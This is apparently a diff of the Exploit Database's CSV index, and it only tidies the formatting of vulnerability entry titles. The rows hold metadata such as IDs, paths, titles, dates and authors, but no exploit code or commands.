 22101,platforms/linux/remote/22101.c,"zkfingerd 0.9.1 say() Format String Vulnerability",2002-12-16,"Marceta Milos",linux,remote,0
 22102,platforms/php/webapps/22102.txt,"PHP-Nuke 6.0 Multiple Path Disclosure Vulnerabilities",2002-12-16,frog,php,webapps,0
@@ -19381,7 +19381,7 @@ id,file,description,date,author,platform,type,port
 22133,platforms/php/webapps/22133.txt,"myPHPNuke 1.8.8 Default_Theme Cross Site Scripting Vulnerability",2003-01-06,Mindwarper,php,webapps,0
 22134,platforms/php/webapps/22134.txt,"S8Forum 3.0 Remote Command Execution Vulnerability",2003-01-06,nmsh_sa,php,webapps,0
 22135,platforms/linux/remote/22135.c,"TANne 0.6.17 Session Manager SysLog Format String Vulnerability",2003-01-07,"dong-h0un yoU",linux,remote,0
-22136,platforms/windows/remote/22136.txt,"PlatinumFTPServer 1.0.6  Dot-Dot-Slash Directory Traversal Vulnerability",2003-01-07,"Dennis Rand",windows,remote,0
+22136,platforms/windows/remote/22136.txt,"PlatinumFTPServer 1.0.6 Dot-Dot-Slash Directory Traversal Vulnerability",2003-01-07,"Dennis Rand",windows,remote,0
 22137,platforms/cgi/webapps/22137.txt,"FormMail-Clone Cross-Site Scripting Vulnerability",2003-01-09,"Rynho Zeros Web",cgi,webapps,0
 22138,platforms/multiple/remote/22138.c,"Half-Life StatsMe 2.6.x Plug-in CMD_ARGV Buffer Overflow Vulnerability",2003-01-10,greuff@void.at,multiple,remote,0
 22139,platforms/multiple/remote/22139.c,"Half-Life ClanMod 1.80/1.81 Plugin Remote Format String Vulnerability",2003-01-10,greuff@void.at,multiple,remote,0
@@ -19612,7 +19612,7 @@ id,file,description,date,author,platform,type,port
 22370,platforms/linux/dos/22370.txt,"Ximian Evolution 1.x UUEncoding Denial of Service Vulnerability",2003-03-17,"Core Security",linux,dos,0
 22371,platforms/linux/remote/22371.txt,"Ximian Evolution 1.x MIME image/* Content-Type Data Inclusion Vulnerability",2003-03-19,"Core Security",linux,remote,0
 22372,platforms/php/webapps/22372.txt,"VaM Shop 1.69 Multiple Vulnerabilities",2012-10-31,"Security Effect Team",php,webapps,0
-22373,platforms/php/webapps/22373.txt,"PG Dating Pro v1.0 CMS Multiple Vulnerabilities",2012-10-31,Vulnerability-Lab,php,webapps,0
+22373,platforms/php/webapps/22373.txt,"PG Dating Pro 1.0 CMS - Multiple Vulnerabilities",2012-10-31,Vulnerability-Lab,php,webapps,0
 22374,platforms/php/webapps/22374.txt,"Wordpress FoxyPress Plugin 0.4.2.5 Multiple Vulnerabilities",2012-10-31,waraxe,php,webapps,0
 22375,platforms/windows/remote/22375.rb,"Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",2012-11-01,metasploit,windows,remote,0
 22376,platforms/linux/local/22376.txt,"GNOME Eye Of Gnome 1.0.x/1.1.x/2.2 Format String Vulnerability",2003-03-28,"Core Security",linux,local,0
@@ -19638,7 +19638,7 @@ id,file,description,date,author,platform,type,port
 22396,platforms/php/webapps/22396.txt,"Wordpress bbpress Plugin Multiple Vulnerabilities",2012-11-01,Dark-Puzzle,php,webapps,0
 22397,platforms/windows/dos/22397.txt,"SIEMENS Sipass Integrated 2.6 Ethernet Bus Arbitrary Pointer Dereference",2012-11-01,"Lucas Apa",windows,dos,0
 22398,platforms/php/webapps/22398.php,"Invision Power Board <= 3.3.4 ""unserialize()"" PHP Code Execution",2012-11-01,EgiX,php,webapps,0
-22399,platforms/php/webapps/22399.txt,"Endpoint Protector v4.0.4.2 Multiple Persistent XSS",2012-11-01,"CYBSEC Labs",php,webapps,0
+22399,platforms/php/webapps/22399.txt,"Endpoint Protector 4.0.4.2 - Multiple Persistent XSS",2012-11-01,"CYBSEC Labs",php,webapps,0
 22401,platforms/windows/dos/22401.php,"Internet Explorer 9 Memory Corruption Crash PoC",2012-11-01,"Jean Pascal Pereira",windows,dos,0
 22402,platforms/windows/dos/22402.txt,"RealPlayer 15.0.6.14(.3g2) WriteAV Crash PoC",2012-11-01,coolkaveh,windows,dos,0
 22403,platforms/php/webapps/22403.txt,"Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability",2012-11-01,D4NB4R,php,webapps,0
@@ -19652,7 +19652,7 @@ id,file,description,date,author,platform,type,port
 22412,platforms/php/webapps/22412.txt,"Advanced Poll 2.0 Remote Information Disclosure Vulnerability",2003-03-22,subj,php,webapps,0
 22413,platforms/php/webapps/22413.txt,"PHPNuke 5.6/6.x News Module Article.PHP SQL Injection Vulnerability",2003-03-22,frog,php,webapps,0
 22414,platforms/php/webapps/22414.php,"PHPNuke 5.6/6.x News Module Index.PHP SQL Injection Vulnerability",2003-03-23,frog,php,webapps,0
-22415,platforms/hardware/dos/22415.c,"3Com SuperStack II RAS 1500 Malicious IP Header Denial of Service Vulnerability",2003-03-24,"Piotr Chytla",hardware,dos,0
+22415,platforms/hardware/dos/22415.c,"3Com SuperStack II RAS 1500 - IP Header Denial of Service Vulnerability",2003-03-24,"Piotr Chytla",hardware,dos,0
 22416,platforms/hardware/remote/22416.txt,"3Com SuperStack II RAS 1500 Unauthorized Access Vulnerability",2003-03-24,"Piotr Chytla",hardware,remote,0
 22417,platforms/windows/dos/22417.py,"Kerio Personal Firewall 2.1.x Remote Authentication Packet Buffer Overflow Vulnerability (1)",2003-04-28,"Core Security",windows,dos,0
 22418,platforms/windows/remote/22418.c,"Kerio Personal Firewall 2.1.x Remote Authentication Packet Buffer Overflow Vulnerability (2)",2003-04-30,ThreaT,windows,remote,0
@@ -19703,7 +19703,7 @@ id,file,description,date,author,platform,type,port
 22464,platforms/windows/dos/22464.txt,"Adobe Reader 11.0.0 Stack Overflow Crash PoC",2012-11-04,coolkaveh,windows,dos,0
 22465,platforms/windows/local/22465.txt,"Sysax FTP Automation Server 5.33 Local Privilege Escalation",2012-11-04,"Craig Freyman",windows,local,0
 22466,platforms/windows/remote/22466.py,"BigAnt Server 2.52 SP5 SEH Stack Overflow ROP-based exploit (ASLR + DEP bypass)",2012-11-04,"Lorenzo Cantoni",windows,remote,0
-22467,platforms/windows/dos/22467.txt,"KMPlayer v3.3.0.33 Multiple Vulnerabilities",2012-11-04,Mr.XHat,windows,dos,0
+22467,platforms/windows/dos/22467.txt,"KMPlayer 3.3.0.33 - Multiple Vulnerabilities",2012-11-04,Mr.XHat,windows,dos,0
 22468,platforms/unix/remote/22468.c,"Samba 2.2.x 'call_trans2open' Remote Buffer Overflow Vulnerability (1)",2003-04-11,Xpl017Elz,unix,remote,0
 22469,platforms/unix/remote/22469.c,"Samba 2.2.x 'call_trans2open' Remote Buffer Overflow Vulnerability (2)",2003-04-07,c0wboy,unix,remote,0
 22470,platforms/unix/remote/22470.c,"Samba 2.2.x 'call_trans2open' Remote Buffer Overflow Vulnerability (3)",2003-05-12,eDSee,unix,remote,0
@@ -19885,11 +19885,11 @@ id,file,description,date,author,platform,type,port
 22649,platforms/multiple/remote/22649.txt,"P-News 1.16 Administrative Account Creation Vulnerability",2003-05-24,"Peter Winter-Smith",multiple,remote,0
 22650,platforms/multiple/dos/22650.py,"BRS WebWeaver 1.0 4 POST and HEAD Denial Of Service Vulnerability",2003-05-26,euronymous,multiple,dos,0
 22651,platforms/php/webapps/22651.txt,"PostNuke 0.72x Phoenix Glossary Module SQL Injection Vulnerability",2003-05-26,"Lorenzo Manuel Hernandez Garcia-Hierro",php,webapps,0
-22652,platforms/windows/local/22652.py,"Zoner Photo Studio v15 Build 3 (Zps.exe) Registry Value Parsing Exploit",2012-11-12,"Julien Ahrens",windows,local,0
+22652,platforms/windows/local/22652.py,"Zoner Photo Studio 15 Build 3 (Zps.exe) - Registry Value Parsing Exploit",2012-11-12,"Julien Ahrens",windows,local,0
 22653,platforms/windows/dos/22653.py,"Smadav Anti Virus 9.1 Crash PoC",2012-11-12,"Mada R Perdhana",windows,dos,0
 22654,platforms/php/webapps/22654.txt,"BananaDance Wiki b2.2 Multiple Vulnerabilities",2012-11-12,Vulnerability-Lab,php,webapps,0
 22655,platforms/windows/dos/22655.txt,"Microsoft Publisher 2013 Crash PoC",2012-11-12,coolkaveh,windows,dos,0
-22656,platforms/php/webapps/22656.py,"vBulletin vBay <=1.1.9 Error-Based SQL Injection",2012-11-12,"Dan UK",php,webapps,0
+22656,platforms/php/webapps/22656.py,"vBulletin vBay <= 1.1.9 - Error-Based SQL Injection",2012-11-12,"Dan UK",php,webapps,0
 22657,platforms/multiple/remote/22657.rb,"Java Applet JAX-WS Remote Code Execution",2012-11-13,metasploit,multiple,remote,0
 22658,platforms/linux/remote/22658.pl,"Batalla Naval 1.0 4 Remote Buffer Overflow Vulnerability (1)",2003-05-26,wsxz,linux,remote,0
 22659,platforms/linux/remote/22659.c,"Batalla Naval 1.0 4 Remote Buffer Overflow Vulnerability (2)",2003-05-26,jsk,linux,remote,0
@@ -19911,13 +19911,13 @@ id,file,description,date,author,platform,type,port
 22675,platforms/php/webapps/22675.txt,"Geeklog 1.3.x Authentication SQL Injection Vulnerability",2003-05-29,pokleyzz,php,webapps,0
 22676,platforms/windows/remote/22676.txt,"M-TECH P-Synch 6.2.5 nph-psf.exe css Parameter XSS",2003-05-29,JeiAr,windows,remote,0
 22677,platforms/windows/remote/22677.txt,"M-TECH P-Synch 6.2.5 nph-psa.exe css Parameter XSS",2003-05-29,JeiAr,windows,remote,0
-22678,platforms/windows/remote/22678.rb,"Jira Scriptrunner 2.0.7 <= CSRF/RCE Exploit",2012-11-13,"Ben Sheppard",windows,remote,0
+22678,platforms/windows/remote/22678.rb,"Jira Scriptrunner 2.0.7 - CSRF/RCE Exploit",2012-11-13,"Ben Sheppard",windows,remote,0
 22679,platforms/windows/dos/22679.txt,"Microsoft Visio 2010 Crash PoC",2012-11-13,coolkaveh,windows,dos,0
 22680,platforms/windows/dos/22680.txt,"IrfanView RLE Image Decompression Buffer Overflow Vulnerability",2012-11-13,"Francis Provencher",windows,dos,0
 22681,platforms/windows/dos/22681.txt,"IrfanView TIF Image Decompression Buffer Overflow Vulnerability",2012-11-13,"Francis Provencher",windows,dos,0
 22683,platforms/linux/local/22683.pl,"HT Editor 2.0.20 Buffer Overflow (ROP PoC)",2012-11-13,ZadYree,linux,local,0
-22684,platforms/php/webapps/22684.txt,"Eventy CMS v1.8 Plus Multiple Vulnerabilities",2012-11-13,Vulnerability-Lab,php,webapps,0
-22685,platforms/windows/dos/22685.txt,"Zoner Photo Studio v15 b3 Buffer Overflow Vulnerabilities",2012-11-13,Vulnerability-Lab,windows,dos,0
+22684,platforms/php/webapps/22684.txt,"Eventy CMS 1.8 Plus - Multiple Vulnerabilities",2012-11-13,Vulnerability-Lab,php,webapps,0
+22685,platforms/windows/dos/22685.txt,"Zoner Photo Studio 15 b3 - Buffer Overflow Vulnerabilities",2012-11-13,Vulnerability-Lab,windows,dos,0
 22686,platforms/php/remote/22686.rb,"Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution",2012-11-13,metasploit,php,remote,0
 22687,platforms/php/webapps/22687.pl,"Webfroot Shoutbox 2.32 Remote Command Execution Vulnerability",2003-05-29,pokleyzz,php,webapps,0
 22688,platforms/cgi/webapps/22688.txt,"M-TECH P-Synch 6.2.5 nph-psf.exe css Parameter Remote File Inclusion",2003-05-29,JeiAr,cgi,webapps,0
@@ -19967,8 +19967,8 @@ id,file,description,date,author,platform,type,port
 22732,platforms/multiple/local/22732.java,"Sun JRE/SDK 1.x Untrusted Applet Java Security Model Violation Vulnerability",2003-06-05,"Marc Schoenefeld",multiple,local,0
 22733,platforms/hp-ux/remote/22733.c,"HP-UX FTPD 1.1.214 .4 REST Command Memory Disclosure Vulnerability",2003-06-05,di0aD,hp-ux,remote,0
 22734,platforms/windows/remote/22734.html,"Microsoft Internet Explorer 6 %USERPROFILE% File Execution Weakness",2003-06-05,"Eiji James Yoshida",windows,remote,0
-22735,platforms/php/webapps/22735.txt,"iDev Rentals v1.0 Multiple Vulnerabilities",2012-11-15,Vulnerability-Lab,php,webapps,0
-22736,platforms/php/webapps/22736.txt,"Friends in War Make or Break v1.3 SQL Injection (authbypass) Vulnerability",2012-11-15,d3b4g,php,webapps,0
+22735,platforms/php/webapps/22735.txt,"iDev Rentals 1.0 - Multiple Vulnerabilities",2012-11-15,Vulnerability-Lab,php,webapps,0
+22736,platforms/php/webapps/22736.txt,"Friends in War Make or Break 1.3 - SQL Injection (authbypass) Vulnerability",2012-11-15,d3b4g,php,webapps,0
 22737,platforms/windows/remote/22737.txt,"Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts() RCE",2012-11-15,rgod,windows,remote,0
 22738,platforms/windows/remote/22738.txt,"Novell NetIQ Privileged User Manager 2.3.1 ldapagnt.dll ldapagnt_eval() Perl Code Evaluation RCE",2012-11-15,rgod,windows,remote,0
 22739,platforms/hardware/dos/22739.py,"Broadcom DoS on BCM4325 and BCM4329 Devices",2012-11-15,CoreLabs,hardware,dos,0
@@ -19990,7 +19990,7 @@ id,file,description,date,author,platform,type,port
 22756,platforms/aix/local/22756.pl,"IBM AIX 4.3.x/5.1 LSMCODE Environment Variable Local Buffer Overflow Vulnerability",2003-06-01,watercloud,aix,local,0
 22757,platforms/windows/dos/22757.c,"ArGoSoft Mail Server 1.8.3 .5 Multiple GET Requests Denial Of Service Vulnerability",2003-06-11,posidron,windows,dos,0
 22758,platforms/windows/remote/22758.txt,"silentThought Simple Web Server 1.0 Directory Traversal Vulnerability",2003-06-12,"Ziv Kamir",windows,remote,0
-22759,platforms/windows/dos/22759.txt,"WebBBS Pro 1.18 Malicious GET Request Denial Of Service Vulnerability",2003-06-12,"Ziv Kamir",windows,dos,0
+22759,platforms/windows/dos/22759.txt,"WebBBS Pro 1.18 - GET Request Denial Of Service Vulnerability",2003-06-12,"Ziv Kamir",windows,dos,0
 22760,platforms/php/webapps/22760.txt,"Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel Account Configuration Modification Vulnerability",2003-06-13,"Lorenzo Hernandez Garcia-Hierro",php,webapps,0
 22761,platforms/php/webapps/22761.txt,"PostNuke 0.723 Multiple Cross-Site Scripting Vulnerabilities",2003-06-13,"David F. Madrid",php,webapps,0
 22762,platforms/php/webapps/22762.txt,"Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel Multiple Cross-Site Scripting Vulnerabilities",2003-06-13,"Lorenzo Hernandez Garcia-Hierro",php,webapps,0
@@ -20056,7 +20056,7 @@ id,file,description,date,author,platform,type,port
 22825,platforms/windows/dos/22825.c,"Armida Databased Web Server 1.0 Remote GET Request Denial Of Service Vulnerability",2003-06-23,posidron,windows,dos,0
 22826,platforms/php/webapps/22826.txt,"VisNetic WebMail 5.8.6 .6 Information Disclosure Vulnerability",2003-06-23,posidron,php,webapps,0
 22827,platforms/windows/remote/22827.txt,"Compaq Web-Based Management Agent Remote File Verification Vulnerability",2003-06-23,"Ian Vitek",windows,remote,0
-22828,platforms/php/webapps/22828.txt,"WeBid <=1.0.5 Cross Site Scripting Vulnerabilities",2012-11-19,"Woody Hughes",php,webapps,0
+22828,platforms/php/webapps/22828.txt,"WeBid <= 1.0.5 - Cross Site Scripting Vulnerabilities",2012-11-19,"Woody Hughes",php,webapps,0
 22829,platforms/php/webapps/22829.txt,"WeBid <= 1.0.5 Directory Traversal",2012-11-19,loneferret,php,webapps,80
 22830,platforms/linux/remote/22830.c,"LBreakOut2 2.x Login Remote Format String Vulnerability",2003-06-24,V9,linux,remote,0
 22831,platforms/freebsd/dos/22831.pl,"Gkrellmd 2.1 Remote Buffer Overflow Vulnerability (1)",2003-06-24,dodo,freebsd,dos,0
@@ -20079,10 +20079,10 @@ id,file,description,date,author,platform,type,port
 22848,platforms/linux/remote/22848.c,"ezbounce 1.0/1.5 Format String Vulnerability",2003-07-01,V9,linux,remote,0
 22849,platforms/jsp/webapps/22849.txt,"Verity K2 Toolkit 2.20 Cross-Site Scripting Vulnerability",2003-07-02,"SSR Team",jsp,webapps,0
 22850,platforms/windows/dos/22850.txt,"Microsoft Office OneNote 2010 Crash PoC",2012-11-20,coolkaveh,windows,dos,0
-22851,platforms/windows/local/22851.py,"FormatFactory v3.0.1 Profile File Handling Buffer Overflow",2012-11-20,"Julien Ahrens",windows,local,0
-22852,platforms/multiple/webapps/22852.txt,"SonicWALL CDP 5040 v6.x Multiple Vulnerabilities",2012-11-20,Vulnerability-Lab,multiple,webapps,0
-22853,platforms/php/webapps/22853.txt,"Wordpress Facebook Survey v1 SQL Injection Vulnerability",2012-11-20,"Vulnerability Research Laboratory",php,webapps,0
-22854,platforms/windows/remote/22854.txt,"LAN.FS Messenger v2.4 Command Execution Vulnerability",2012-11-20,Vulnerability-Lab,windows,remote,0
+22851,platforms/windows/local/22851.py,"FormatFactory 3.0.1 - Profile File Handling Buffer Overflow",2012-11-20,"Julien Ahrens",windows,local,0
+22852,platforms/multiple/webapps/22852.txt,"SonicWALL CDP 5040 6.x - Multiple Vulnerabilities",2012-11-20,Vulnerability-Lab,multiple,webapps,0
+22853,platforms/php/webapps/22853.txt,"Wordpress Facebook Survey 1.0 - SQL Injection Vulnerability",2012-11-20,"Vulnerability Research Laboratory",php,webapps,0
+22854,platforms/windows/remote/22854.txt,"LAN.FS Messenger 2.4 - Command Execution Vulnerability",2012-11-20,Vulnerability-Lab,windows,remote,0
 22855,platforms/windows/dos/22855.txt,"Apple QuickTime 7.7.2 Targa image Buffer Overflow",2012-11-20,"Senator of Pirates",windows,dos,0
 22856,platforms/linux/remote/22856.rb,"Narcissus Image Configuration Passthru Vulnerability",2012-11-21,metasploit,linux,remote,0
 22857,platforms/jsp/webapps/22857.txt,"Verity K2 Toolkit 2.20 Query Builder Search Script Cross-Site Scripting Vulnerability",2003-07-02,"SSR Team",jsp,webapps,0
@@ -20188,7 +20188,7 @@ id,file,description,date,author,platform,type,port
 22966,platforms/windows/remote/22966.c,"Valve Software Half-Life 1.1 Client Connection Routine Buffer Overflow Vulnerability (1)",2003-07-29,D4rkGr3y,windows,remote,0
 22967,platforms/windows/remote/22967.txt,"Valve Software Half-Life 1.1 Client Connection Routine Buffer Overflow Vulnerability (2)",2003-07-29,Anonymous,windows,remote,0
 22968,platforms/linux/remote/22968.c,"Valve Software Half-Life Server <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a Multiplayer Request Buffer Overflow",2003-07-29,hkvig,linux,remote,0
-22969,platforms/linux/remote/22969.c,"Valve Software Half-Life Server v3.1.1.0 Multiplayer Request Buffer Overflow",2003-07-29,KnbykL,linux,remote,0
+22969,platforms/linux/remote/22969.c,"Valve Software Half-Life Server 3.1.1.0 - Multiplayer Request Buffer Overflow",2003-07-29,KnbykL,linux,remote,0
 22970,platforms/windows/dos/22970.txt,"NetScreen ScreenOS 4.0.1/4.0.3 TCP Window Size Remote Denial Of Service Vulnerability",2003-07-29,"Papa loves Mambo",windows,dos,0
 22971,platforms/linux/local/22971.txt,"ManDB Utility 2.3/2.4 Local Buffer Overflow Vulnerabilities",2003-07-29,V9,linux,local,0
 22972,platforms/windows/webapps/22972.txt,"Gleamtech FileVista/FileUltimate 4.6 Directory Traversal",2012-11-28,"Soroush Dalili",windows,webapps,0
@@ -20224,7 +20224,7 @@ id,file,description,date,author,platform,type,port
 23002,platforms/windows/remote/23002.txt,"MDaemon SMTP Server 5.0.5 Null Password Authentication Vulnerability",2003-08-09,"Buckaroo Banzai",windows,remote,0
 23003,platforms/windows/dos/23003.py,"UMPlayer Portable 0.95 Crash PoC",2012-11-29,p3kok,windows,dos,0
 23004,platforms/multiple/webapps/23004.txt,"Oracle OpenSSO 8.0 Multiple XSS POST Injection Vulnerabilities",2012-11-29,LiquidWorm,multiple,webapps,0
-23005,platforms/asp/webapps/23005.txt,"FCKEditor ASP Version 2.6.8 File Upload Protection Bypass",2012-11-29,"Soroush Dalili",asp,webapps,0
+23005,platforms/asp/webapps/23005.txt,"FCKEditor ASP 2.6.8 - File Upload Protection Bypass",2012-11-29,"Soroush Dalili",asp,webapps,0
 23006,platforms/php/remote/23006.rb,"Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection",2012-11-29,metasploit,php,remote,0
 23007,platforms/windows/local/23007.rb,"Windows AlwaysInstallElevated MSI",2012-11-29,metasploit,windows,local,0
 23008,platforms/php/webapps/23008.txt,"DCForum+ 1.2 Subject Field HTML Injection Vulnerability",2003-08-11,G00db0y,php,webapps,0
@@ -20270,7 +20270,7 @@ id,file,description,date,author,platform,type,port
 23049,platforms/linux/remote/23049.c,"Srcpd 2.0 Multiple Buffer Overflow Vulnerabilities",2003-08-21,Over_G,linux,remote,0
 23050,platforms/multiple/dos/23050.txt,"Avant Browser 8.0.2 Long HTTP Request Buffer Overflow Vulnerability",2003-08-21,nimber@designer.ru,multiple,dos,0
 23051,platforms/multiple/dos/23051.txt,"WapServ 1.0 Denial Of Service Vulnerabilities",2003-08-22,"Blue eyeguy4u",multiple,dos,0
-23052,platforms/windows/local/23052.rb,"BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",2012-12-01,metasploit,windows,local,0
+23052,platforms/windows/local/23052.rb,"BlazeVideo HDTV Player Pro 6.6 - Filename Handling Vulnerability",2012-12-01,metasploit,windows,local,0
 23053,platforms/windows/dos/23053.pl,"Vpop3d Remote Denial Of Service Vulnerability",2003-08-22,daniels@legend.co.uk,windows,dos,0
 23054,platforms/linux/remote/23054.txt,"WIDZ 1.0/1.5 Remote Root Compromise Vulnerability",2003-08-23,kf,linux,remote,0
 23055,platforms/asp/webapps/23055.txt,"IdealBB 1.4.9 Beta HTML Injection Vulnerability",2003-08-23,"Scott M",asp,webapps,0
@@ -20287,7 +20287,7 @@ id,file,description,date,author,platform,type,port
 23066,platforms/windows/remote/23066.pl,"Tellurian TftpdNT 1.8/2.0 Long Filename Buffer Overrun Vulnerability",2003-08-27,storm,windows,remote,0
 23067,platforms/php/webapps/23067.txt,"eNdonesia 8.2/8.3 Mod Parameter Cross-Site Scripting Vulnerability",2003-08-27,"Bahaa Naamneh",php,webapps,0
 23068,platforms/windows/remote/23068.txt,"File Sharing for Net 1.5 Directory Traversal File Disclosure Vulnerability",2003-08-30,sickle,windows,remote,0
-23069,platforms/multiple/remote/23069.txt,"SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011  Information Disclosure Vulnerability",2003-08-30,"Martin Eiszner",multiple,remote,0
+23069,platforms/multiple/remote/23069.txt,"SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 Information Disclosure Vulnerability",2003-08-30,"Martin Eiszner",multiple,remote,0
 23070,platforms/multiple/remote/23070.txt,"SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 Directory Traversal File Disclosure Vulnerability",2003-08-30,"Martin Eiszner",multiple,remote,0
 23071,platforms/multiple/remote/23071.txt,"SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 Cross Site Scripting Vulnerability",2003-08-30,"Martin Eiszner",multiple,remote,0
 23072,platforms/php/webapps/23072.txt,"Ezboard 'invitefriends.php3' Cross Site Scripting Vulnerability",2003-09-01,"David F. Madrid",php,webapps,0
@@ -20348,7 +20348,7 @@ id,file,description,date,author,platform,type,port
 23129,platforms/php/webapps/23129.txt,"Invision Power Board 1.x Index.php Showtopic Cross-Site Scripting Vulnerability",2003-09-09,"Boy Bear",php,webapps,0
 23130,platforms/windows/dos/23130.txt,"Gordano Messaging Suite 9.0 WWW.exe Denial of Service Vulnerability",2003-09-10,"Phuong Nguyen",windows,dos,0
 23131,platforms/windows/remote/23131.txt,"Microsoft Internet Explorer 6.0 Script Execution Vulnerabilities",2003-09-10,"Liu Die Yu and Jelmer",windows,remote,0
-23132,platforms/windows/webapps/23132.py,"Advantech Studio v7.0 SCADA/HMI Directory Traversal 0-day",2012-12-04,Nin3,windows,webapps,0
+23132,platforms/windows/webapps/23132.py,"Advantech Studio 7.0 - SCADA/HMI Directory Traversal 0day",2012-12-04,Nin3,windows,webapps,0
 23135,platforms/windows/remote/23135.txt,"FloosieTek FTGatePro 1.2 WebAdmin Interface Information Disclosure Weakness",2003-09-10,"Phuong Nguyen",windows,remote,0
 23136,platforms/multiple/remote/23136.txt,"FutureWave WebX Server 1.1 Directory Traversal Vulnerability",2003-09-10,dr_insane,multiple,remote,0
 23137,platforms/multiple/remote/23137.txt,"CacheFlow CacheOS 4.1.10016 HTTP HOST Proxy Vulnerability",2003-09-10,"Tim Kennedy",multiple,remote,0
@@ -20394,7 +20394,7 @@ id,file,description,date,author,platform,type,port
 23177,platforms/windows/dos/23177.txt,"NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC",2012-12-06,LiquidWorm,windows,dos,0
 23178,platforms/multiple/remote/23178.rb,"Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution",2012-12-06,metasploit,multiple,remote,0
 23179,platforms/windows/remote/23179.rb,"Oracle MySQL for Microsoft Windows MOF Execution",2012-12-06,metasploit,windows,remote,0
-23180,platforms/php/webapps/23180.txt,"Kordil EDMS v2.2.60rc3 SQL Injection Vulnerability",2012-12-06,"Woody Hughes",php,webapps,0
+23180,platforms/php/webapps/23180.txt,"Kordil EDMS 2.2.60rc3 - SQL Injection Vulnerability",2012-12-06,"Woody Hughes",php,webapps,0
 23181,platforms/multiple/dos/23181.txt,"NullLogic Null HTTPd 0.5 Remote Denial Of Service Vulnerability",2003-09-24,"Luigi Auriemma",multiple,dos,0
 23182,platforms/linux/remote/23182.c,"CFEngine 2.0.x CFServD Transaction Packet Buffer Overrun Vulnerability (1)",2003-09-25,jsk,linux,remote,0
 23183,platforms/linux/remote/23183.c,"CFEngine 2.0.x CFServD Transaction Packet Buffer Overrun Vulnerability (2)",2003-11-04,snooq,linux,remote,0
@@ -20465,7 +20465,7 @@ id,file,description,date,author,platform,type,port
 23248,platforms/arm/dos/23248.txt,"Android Kernel 2.6 Local DoS Crash PoC",2012-12-09,G13,arm,dos,0
 23249,platforms/php/webapps/23249.txt,"MyBB KingChat Plugin - Persistent XSS",2012-12-09,VipVince,php,webapps,0
 23250,platforms/hardware/webapps/23250.txt,"Cisco DPC2420 Multiples Vulnerabilities",2012-12-09,"Facundo M. de la Cruz",hardware,webapps,0
-23251,platforms/linux/local/23251.txt,"Centrify Deployment Manager v2.1.0.283 Local Root",2012-12-09,"Larry W. Cashdollar",linux,local,0
+23251,platforms/linux/local/23251.txt,"Centrify Deployment Manager 2.1.0.283 - Local Root",2012-12-09,"Larry W. Cashdollar",linux,local,0
 23252,platforms/php/webapps/23252.txt,"ClipBucket 2.6 Revision 738 Multiple SQL Injection Vulnerabilities",2012-12-09,"High-Tech Bridge SA",php,webapps,0
 23253,platforms/php/webapps/23253.txt,"Achievo 1.4.5 Multiple Vulnerabilities",2012-12-09,"High-Tech Bridge SA",php,webapps,0
 23254,platforms/windows/dos/23254.txt,"TVMOBiLi 2.1.0.3557 Denial of Service Vulnerability",2012-12-09,"High-Tech Bridge SA",windows,dos,0
@@ -20581,7 +20581,7 @@ id,file,description,date,author,platform,type,port
 23370,platforms/cgi/webapps/23370.txt,"nCube Server Manager 1.0 Directory Traversal Vulnerability",2003-11-10,"Beck Mr.R",cgi,webapps,0
 23371,platforms/linux/remote/23371.c,"Hylafax 4.1.x HFaxD Unspecified Format String Vulnerability",2003-11-10,"Sebastian Krahmer",linux,remote,0
 23372,platforms/php/webapps/23372.txt,"PHP-Coolfile 1.4 Unauthorized Administrative Access Vulnerability",2003-11-11,r00t@rsteam.ru,php,webapps,0
-23373,platforms/windows/remote/23373.html,"Opera Web Browser 7.x  URI Handler Directory Traversal Vulnerability",2003-11-12,S.G.Masood,windows,remote,0
+23373,platforms/windows/remote/23373.html,"Opera Web Browser 7.x URI Handler Directory Traversal Vulnerability",2003-11-12,S.G.Masood,windows,remote,0
 23374,platforms/windows/dos/23374.pl,"Qualcomm Eudora 5.x/6.0 Spoofed Attachment Line Denial Of Service Vulnerability",2003-11-12,"Paul Szabo",windows,dos,0
 23375,platforms/linux/dos/23375.txt,"GNU Zebra 0.9x / Quagga 0.96 Remote Denial of Service Vulnerability",2003-11-12,"Jonny Robertson",linux,dos,0
 23376,platforms/hardware/remote/23376.txt,"FortiGate Firewall 2.x dlg Admin Interface XSS",2003-11-12,"Maarten Hartsuijker",hardware,remote,0
@@ -20629,7 +20629,7 @@ id,file,description,date,author,platform,type,port
 23419,platforms/windows/remote/23419.txt,"Abyss Web Server 1.0/1.1 Authentication Bypass Vulnerability",2003-12-08,"Luigi Auriemma",windows,remote,0
 23420,platforms/php/webapps/23420.txt,"Bitfolge Snif 1.2.6 Index.PHP Path Cross-Site Scripting Vulnerability",2003-12-09,"Justin Hagstrom",php,webapps,0
 23421,platforms/cgi/webapps/23421.txt,"CalaCode @mail Webmail System 3.52 Multiple Vulnerabilities",2003-12-09,"Nick Gudov",cgi,webapps,0
-23422,platforms/windows/remote/23422.txt,"Internet Explorer 5/6,Mozilla 1.2.1 URI Display Obfuscation Weakness  (1)",2003-12-09,"Guy Crumpley",windows,remote,0
+23422,platforms/windows/remote/23422.txt,"Internet Explorer 5/6,Mozilla 1.2.1 URI Display Obfuscation Weakness (1)",2003-12-09,"Guy Crumpley",windows,remote,0
 23423,platforms/windows/remote/23423.txt,"Internet Explorer 5/6,Mozilla 1.2.1 URI Display Obfuscation Weakness (2)",2003-12-09,"Zap The Dingbat",windows,remote,0
 23425,platforms/php/webapps/23425.txt,"MyBB User Profile Skype ID Plugin 1.0 - Stored XSS",2012-12-16,limb0,php,webapps,0
 23427,platforms/linux/dos/23427.txt,"Totem Movie Player (Ubuntu) 3.4.3 Stack Corruption",2012-12-16,coolkaveh,linux,dos,0
@@ -20653,7 +20653,7 @@ id,file,description,date,author,platform,type,port
